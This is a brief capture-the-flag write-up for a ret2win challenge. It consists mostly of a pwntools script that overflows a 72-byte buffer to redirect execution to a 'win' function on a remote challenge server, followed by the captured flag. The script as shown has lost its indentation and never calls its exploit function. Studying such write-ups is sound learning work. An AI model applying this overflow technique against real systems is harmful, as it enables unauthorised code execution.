Ret2Win. Fill the buffer until RIP and then overwrite RIP to win function

```python
from pwn import *

def exploit():
payload = b"a" * 72
payload += p64(elf.symbols['win'])
r.sendlineafter("\n", payload)
r.interactive()

elf = ELF("./greeter")
r = remote("challenges.ctfd.io", 30249)
```

`nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}`